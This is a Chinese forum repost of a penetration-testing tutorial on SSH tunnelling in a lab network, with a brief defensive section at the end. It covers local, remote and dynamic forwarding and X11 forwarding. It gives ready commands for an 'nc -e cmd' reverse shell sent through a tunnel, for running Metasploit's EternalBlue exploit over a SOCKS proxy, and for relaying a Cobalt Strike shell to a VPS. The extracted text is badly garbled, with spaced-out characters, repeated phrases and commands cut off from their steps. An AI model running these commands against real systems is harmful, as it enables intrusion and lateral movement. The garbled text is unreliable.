搜索

[21335] 2020-10-23_实战中SSH隧道技术的利用方式

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-10-23_实战中SSH隧道技术的利用方式 实 战 中 S S H 隧 道 技 术 的 利 用 方 式 转 载 于 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 0 - 2 3 内 网 中 几 乎 所 有 的 内 网 中 几 乎 所 有 的 l i n u x 服 务 器 和 网 络 设 备 都 支 持 服 务 器 和 网 络 设 备 都 支 持 s s h 协 议 ， 协 议 ， s s h 协 议 是 允 许 通 过 防 火 墙 和 边 界 设 备 的 ， 所 以 经 常 被 攻 击 者 利 协 议 是 允 许 通 过 防 火 墙 和 边 界 设 备 的 ， 所 以 经 常 被 攻 击 者 利 用 。 同 时 用 。 同 时 s s h 协 议 的 传 输 过 程 是 加 密 的 ， 所 以 我 们 很 难 区 分 合 法 的 协 议 的 传 输 过 程 是 加 密 的 ， 所 以 我 们 很 难 区 分 合 法 的 s s h 会 话 和 攻 击 者 利 用 其 他 网 络 建 立 的 隧 道 。 攻 击 者 使 用 会 话 和 攻 击 者 利 用 其 他 网 络 建 立 的 隧 道 。 攻 击 者 使 用 s s h 端 口 隧 道 突 破 防 火 墙 的 限 制 后 ， 能 够 建 立 一 些 之 前 无 法 建 立 的 端 口 隧 道 突 破 防 火 墙 的 限 制 后 ， 能 够 建 立 一 些 之 前 无 法 建 立 的 T C P 连 接 。 连 接 。 创 建 s s h 隧 道 的 常 用 参 数 如 下 ： 1 . 本 地 端 口 转 发 本 地 端 口 转 发 测 试 环 境 如 下 ：     外 部 v p s 可 以 访 问 内 网 w e b 服 务 器 ， 但 是 不 能 访 问 数 据 库 服 务 器 ， 内 网 w e b 服 务 器 可 以 和 数 据 库 服 务 器 互 相 访 问 。 测 试 目 标 ： 以 w e b 服 务 器 为 跳 板 ， 访 问 数 据 库 服 务 器 的 3 3 8 9 端 口 。 修 改 s s h 服 务 器 配 置 文 件 - C ： 压 缩 传 输 ， 提 高 传 输 速 度 - f   ： 将 s s h 传 输 转 入 后 台 执 行 ， 不 占 用 当 前 的 s h e l l 。 - N ： 建 立 静 默 连 接 （ 建 立 了 连 接 ， 但 是 看 不 到 具 体 的 会 话 ） - g   允 许 远 程 主 机 连 接 本 地 用 于 转 发 的 端 口 。 - L ： 本 地 端 口 转 发 - R ： 远 程 端 口 转 发 - D ： 动 态 转 发 （ s o c k s 代 理 ） - P ： 指 定 s s h 端 口 。
n e t s t a t   - a n p t l   |   g r e p   1 1 5 3   查 看 本 地 1 1 5 3 端 口 ， 可 以 看 到 1 1 5 3 端 口 已 经 开 启 侦 听 。 使 用 r d e s k t o p 连 接 v p s 的 1 1 5 3 端 口 ， 可 以 发 现 已 经 与 数 据 服 务 器 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 的 3 3 8 9 建 立 了 连 接 s s h 进 程 的 本 地 端 口 映 射 可 以 将 本 地 的 某 个 端 口 转 发 到 远 端 指 定 机 器 的 指 定 端 口 ； 本 地 端 口 转 发 则 是 在 本 地 监 听 一 个 端 口 ， 所 有 访 问 这 个 端 口 的 数 据 都 会 通 过 s s h 隧 道 传 输 到 远 端 的 对 应 端 口 。 加 密 传 输 ： 实 验 环 境 如 下 : 在 l i n u x 1 和 l i n u x 2 之 间 建 立 一 条 s s h 隐 秘 隧 道 ， 使 w i n 2 0 0 8 将 自 己 的 s h e l l 通 过 s s h 隧 道 反 弹 给 w i n 7 。 在 l i n u x 1 上 执 行 如 下 命 令 ： / e t c / s s h / s s h d _ c o n f i g –   P e r m i t R o o t L o g i n   y e s –   P o r t   2 2 –   P a s s w o r d A u t h e n t i c a t i o n   y e s ▪   s e r v i c e   s s h   r e s t a r t s s h   - f C N g   - L   < l i s t e n   p o r t > : < r e m o t e   i p > : < r e m o t e   p o r t >   u s e r @ < s s h   s e r v e r >   - p   < s s h   s e r v e r   p o r t > s s h   - f C N g   - L   1 1 5 3 : 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 : 3 3 8 9   r o o t @ 1 9 2 . 1 6 8 . 1 7 4 . 1 3 3   - p   2 2 r d e s k t o p   1 2 7 . 0 . 0 . 1 : 1 1 5 3 l i n u x 1   ： 1 9 2 . 1 6 8 . 1 9 0 . 1 1 0 l i n u x 2 ： 1 9 2 . 1 6 8 . 1 9 0 . 1 3 3 w i n 7 ： 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 w i n 2 0 0 8 :   1 9 2 . 1 6 8 . 1 9 0 . 1 3 2 s s h   - f C N g   - L   7 0 0 6 : 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 : 3 3 3   r o o t @ 1 9 2 . 1 6 8 . 1 9 0 . 1 3 3   - p   2 2
在 w i n 7 上 使 用 n c 监 听 本 地 3 3 3 端 口 在 w i n   s e r 2 0 0 8 上 使 用 n c 连 接 l i n u x 1 的 7 0 0 6 端 口 回 到 w i n 7 上 可 以 看 到 已 经 获 得 了 w i n 2 0 0 8 的 s h e l l 了 。 2 . 远 程 端 口 转 发 远 程 端 口 转 发 测 试 环 境 如 下 ：     左 侧 为 攻 击 者 v p s （ k a l i   l i n u x ） ； 右 侧 是 一 个 小 型 内 网 ， 包 含 三 台 机 器 ； 内 网 没 有 边 界 设 备 ， 所 以 外 部 的 v p s 不 能 访 问 内 网 中 的 三 台 机 器 ； 内 网 w e b 服 务 器 可 以 访 问 外 网 v p s ， 数 据 库 服 务 器 和 域 控 服 务 器 均 不 能 访 问 外 网 的 v p s 。 测 试 目 标 ： 通 过 外 网 v p s 访 问 数 据 库 服 务 器 的 3 3 8 9 端 口 。 n c   - l v p   3 3 3 n c . e x e   1 9 2 . 1 6 8 . 1 9 0 . 1 1 0   7 0 0 6   - e   c m d
    以 w e b 服 务 器 为 跳 板 ， 将 v p s 的 1 5 2 1 端 口 的 流 量 转 发 到 数 据 库 服 务 器 的 3 3 8 9 端 口 ， 然 后 访 问 v p s 的 1 5 2 1 端 口 ， 就 可 以 访 问 数 据 库 服 务 器 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 的 3 3 8 9 端 口 了 。 在 w e b 服 务 器 上 执 行 如 下 命 令 ： n e t s t a t   - a n p t l   |   g r e p   1 5 2 1   查 看 远 程     v p s ( 1 9 2 . 1 6 8 . 1 9 0 . 1 1 0 ) 发 现 已 经 开 启 对 1 5 2 1 端 口 的 监 听 r d e s k t o p   1 2 7 . 0 . 0 . 1 : 1 5 2 1   访 问 v p s 的 1 5 2 1 端 口 ， 即 可 与 数 据 库 服 务 器 的 3 3 8 9 端 口 建 立 连 接 。 s s h   - f N g   - R   < l i s t e n   p o r t > : < r e m o t e   i p > : < r e m o t e   p o r t >   u s e r @ < S S H   s e r v e r >   - p   < s s h   s e r v e r   p o r t > s s h   - f C N g   - R   1 5 2 1 : 1 9 2 . 1 6 8 . 1 9 0 . 1 3 6 : 3 3 8 9   r o o t @ 1 9 2 . 1 6 8 . 1 9 0 . 1 1 0
总 结 ： 本 地 转 发 是 在 本 地 监 听 并 将 远 程 主 机 某 个 端 口 的 数 据 转 发 到 本 地 服 务 器 的 指 定 端 口 。 远 程 端 口 转 发 则 是 在 远 程 主 机 上 监 听 一 个 端 口 ， 所 有 访 问 远 程 服 务 器 指 定 端 口 的 数 据 都 会 通 过 s s h 隧 道 传 输 到 本 地 的 对 应 端 口 上 。 3 . 动 态 转 发 动 态 转 发 测 试 环 境 如 下 ： 在 v p s 上 执 行 如 下 命 令 , 建 立 一 个 动 态 的 s o c k s 代 理 通 道 查 看 本 地 7 0 0 0 端 口 的 监 听 是 否 已 经 启 动 ， 可 以 看 到 s s h 正 在 监 听 7 0 0 0 端 口 。 然 后 ， 在 本 地 打 开 浏 览 器 并 设 置 网 络 代 理 ， 通 过 浏 览 器 访 问 内 网 域 控 制 器 （ 1 9 2 . 1 6 8 . 1 9 0 . 1 3 2 ） 。 s s h   f C N g   - D   7 0 0 0   r o o t @ 1 9 2 . 1 6 8 . 1 7 4 . 1 3 3
此 时 ， 也 可 以 使 用 m e t a s p l o i t 挂 s o c k s 代 理 扫 描 目 标 内 网 m s 1 7 - 0 1 0 m s f c o n s o l e   - q     m s f 5   >   s e t g   p r o x i e s   s o c k s 5 : 1 9 2 . 1 6 8 . 1 7 4 . 1 3 0 : 7 0 0 0     m s f 5   >   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0     m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   s e t   r h o s t s   1 9 2 . 1 6 8 . 1 9 0 . 1 3 2     m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   s e t   t h r e a d s   1 0     m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   r u n m s f 5   >   u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e   m s f 5   >   s e t   r h o s t   1 9 2 . 1 6 8 . 1 9 0 . 1 3 6     m s f 5   >   s e t   l h o s t   1 9 2 . 1 6 8 . 1 7 4 . 1 3 0     m s f 5   >   s e t   l p o r t   4 4 4     m s f 5   >   s e t   R e v e r s e A l l o w P r o x y   t r u e     m s f 5   >   e x p l o i t
总 结 ： 动 态 端 口 映 射 就 是 建 立 一 个 s s h 加 密 的 s o c k s 代 理 通 道 。 任 何 支 持 s o c k s 4 / 5 协 议 的 程 序 都 可 以 使 用 这 个 加 密 隧 道 进 行 代 理 访 问 。 4 . X 协 议 转 发 协 议 转 发 1 . 远 程 登 陆   L i n u x   G U I   运 行 图 形 化 界 面 工 具 ， 类 似 于 V N C 和 X   w i n d o w s 。 2 . 防 火 墙 限 制 访 问 时 ， 可 以 尝 试 通 过   S S H   的   X   转 发 X 协 议 转 发 测 试 可 以 使 用 远 程 主 机 的 图 像 化 工 具 5 . s s h 隧 道 实 战 中 的 用 法 隧 道 实 战 中 的 用 法     若 公 网 服 务 器 没 有 M e t a s p l o i t 时 ， 可 以 创 建 s s h 隧 道 ， 将 C S   s h e l l   转 发 到 公 网 V P S 的 8 0 8 0 端 口 ， 在 k a l i 上 创 建 本 地 k a l i 到 公 网 V P S 的 s s h 隧 道 ， 然 后 就 可 以 在 k a l i 上 获 得 C S 委 派 过 来 的 s h e l l 了 。 1 . 创 建 s s h 隧 道 公 网 v p s 的 s s h 配 置 修 改 如 下 ： s s h   - X   r o o t @ 1 9 2 . 1 6 8 . 1 9 9 . 1 6 5   - p   5 3 s s h   - X   r o o t @ 1 9 2 . 1 6 8 . 1 9 9 . 1 6 5 A l l o w T c p F o r w a r d i n g   y e s     G a t w a y P o r t s   y e s     T C P K e e p A l i v e   y e s     P a s s w o r d A u t h e n t i c a t i o n   y e s    
2 . 将 C S 的 s h e l l 委 派 给 公 网 V P S 的 3 3 0 6 端 口 3 . 公 网 V P S 的 3 3 0 6 将 收 到 的 流 量 通 过 s s h 隧 道 又 传 递 给 了 本 地 k a l i 的 3 3 0 6 端 口 ， 从 而 获 得 了 s h e l l 。 6 . s s h 隧 道 防 御 s s h 隧 道 之 所 以 能 被 攻 击 者 利 用 ， 主 要 是 因 为 系 统 访 问 控 制 措 施 不 够 。 在 系 统 中 配 置 s s h 远 程 管 理 白 名 单 ， 在 A C L 中 限 制 只 有 特 定 的 i p 地 址 才 能 连 接 s s h ， 以 及 设 置 系 统 完 全 使 用 带 外 管 理 等 方 法 ， 都 可 以 避 免 这 一 问 题 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 【 好 书 推 荐 】 【 好 书 推 荐 】 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 s s h   - C f N g   - R   1 . 1 . 1 . 1 : 3 3 0 6 : 1 9 2 . 1 6 8 . 1 7 4 . 1 3 0 : 3 3 0 6     r o o t @ 1 . 1 . 1 . 1   - p   1 5 2 1
扫 描 关 注 扫 描 关 注 L e m o n S e c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理